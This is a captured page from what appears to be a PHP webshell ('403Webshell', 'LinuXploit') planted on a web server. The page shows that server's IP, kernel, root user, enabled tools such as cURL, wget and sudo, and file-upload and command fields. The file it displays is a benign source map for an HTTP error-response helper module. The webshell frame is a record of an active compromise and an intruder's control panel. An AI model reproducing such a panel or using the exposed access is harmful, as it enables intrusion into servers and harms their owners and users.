403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/http-error-responses.js.map
{"version":3,"file":"http-error-responses.js","names":[],"sources":["../../src/server/http-error-responses.ts"],"sourcesContent":["/**\n * Shared HTTP error response builders.\n *\n * Centralizes the canonical `new Response(\"...\", { status: 4xx | 5xx })` patterns\n * that previously were scattered across server modules. Each helper standardizes\n * the canonical body for its status; the optional `headers` argument lets callers\n * merge middleware/middleware-context headers without re-implementing the\n * `new Response(...)` boilerplate.\n *\n * Sites with route-specific bodies (e.g. `\"404 - API route not found\"`,\n * `\"Image not found\"`, generated worker templates) intentionally remain inline\n * because their bodies are either tested-against fixtures or run inside template\n * strings that have no access to runtime imports.\n *\n * Follow-up to #1058 / #1071 / #1078, which extracted the first batch of these\n * helpers (action/page error responses, `forbiddenResponse`, `payloadTooLargeResponse`).\n */\n\ntype ErrorResponseInit = {\n  headers?: HeadersInit;\n};\n\n/**\n * Build a 400 Bad Request plain-text response.\n *\n * Used for malformed percent-encoding, invalid HTTP methods (where Next.js\n * returns 400), and other request-shape validation failures.\n */\nexport function badRequestResponse(init?: ErrorResponseInit): Response {\n  return new Response(\"Bad Request\", { status: 400, headers: init?.headers });\n}\n\n/**\n * Build a 403 Forbidden plain-text response.\n *\n * Used by CSRF origin validation and dev-server origin checks.\n */\nexport function forbiddenResponse(): Response {\n  return new Response(\"Forbidden\", { status: 403, headers: { \"Content-Type\": \"text/plain\" } });\n}\n\n/**\n * Build a 404 Not Found plain-text response.\n *\n * The `headers` option lets call sites merge middleware response headers into\n * the 404, matching the pattern used by `app-rsc-handler` after a route match\n * fails but middleware has already contributed headers.\n */\nexport function notFoundResponse(init?: ErrorResponseInit): Response {\n  return new Response(\"Not Found\", { status: 404, headers: init?.headers });\n}\n\n/**\n * Build a 405 Method Not Allowed plain-text response with the `Allow` header set.\n *\n * `allowedMethods` is rendered as the comma-separated `Allow` header value.\n * Existing headers (e.g. middleware response headers) can be merged via `init.headers`;\n * the `Allow` header takes precedence and overwrites any colliding entry.\n */\nexport function methodNotAllowedResponse(\n  allowedMethods: string,\n  init?: ErrorResponseInit,\n): Response {\n  const headers = new Headers(init?.headers);\n  headers.set(\"Allow\", allowedMethods);\n  return new Response(\"Method Not Allowed\", { status: 405, headers });\n}\n\n/**\n * Build a 413 Payload Too Large plain-text response.\n *\n * Used by server action body-size enforcement.\n */\nexport function payloadTooLargeResponse(): Response {\n  return new Response(\"Payload Too Large\", { status: 413 });\n}\n\n/**\n * Build a 500 Internal Server Error plain-text response.\n *\n * The `message` argument lets dev-mode handlers surface failure details while\n * production paths fall back to the canonical body. Pass `undefined` (or omit)\n * to use the canonical \"Internal Server Error\" body.\n */\nexport function internalServerErrorResponse(message?: string, init?: ErrorResponseInit): Response {\n  return new Response(message ?? \"Internal Server Error\", {\n    status: 500,\n    headers: init?.headers,\n  });\n}\n"],"mappings":";;;;;;;AA4BA,SAAgB,mBAAmB,MAAoC;CACrE,OAAO,IAAI,SAAS,eAAe;EAAE,QAAQ;EAAK,SAAS,MAAM;EAAS,CAAC;;;;;;;AAQ7E,SAAgB,oBAA8B;CAC5C,OAAO,IAAI,SAAS,aAAa;EAAE,QAAQ;EAAK,SAAS,EAAE,gBAAgB,cAAc;EAAE,CAAC;;;;;;;;;AAU9F,SAAgB,iBAAiB,MAAoC;CACnE,OAAO,IAAI,SAAS,aAAa;EAAE,QAAQ;EAAK,SAAS,MAAM;EAAS,CAAC;;;;;;;;;AAU3E,SAAgB,yBACd,gBACA,MACU;CACV,MAAM,UAAU,IAAI,QAAQ,MAAM,QAAQ;CAC1C,QAAQ,IAAI,SAAS,eAAe;CACpC,OAAO,IAAI,SAAS,sBAAsB;EAAE,QAAQ;EAAK;EAAS,CAAC;;;;;;;AAQrE,SAAgB,0BAAoC;CAClD,OAAO,IAAI,SAAS,qBAAqB,EAAE,QAAQ,KAAK,CAAC;;;;;;;;;AAU3D,SAAgB,4BAA4B,SAAkB,MAAoC;CAChG,OAAO,IAAI,SAAS,WAAW,yBAAyB;EACtD,QAAQ;EACR,SAAS,MAAM;EAChB,CAAC"}

Youez - 2016 - github.com/yon3zu
LinuXploit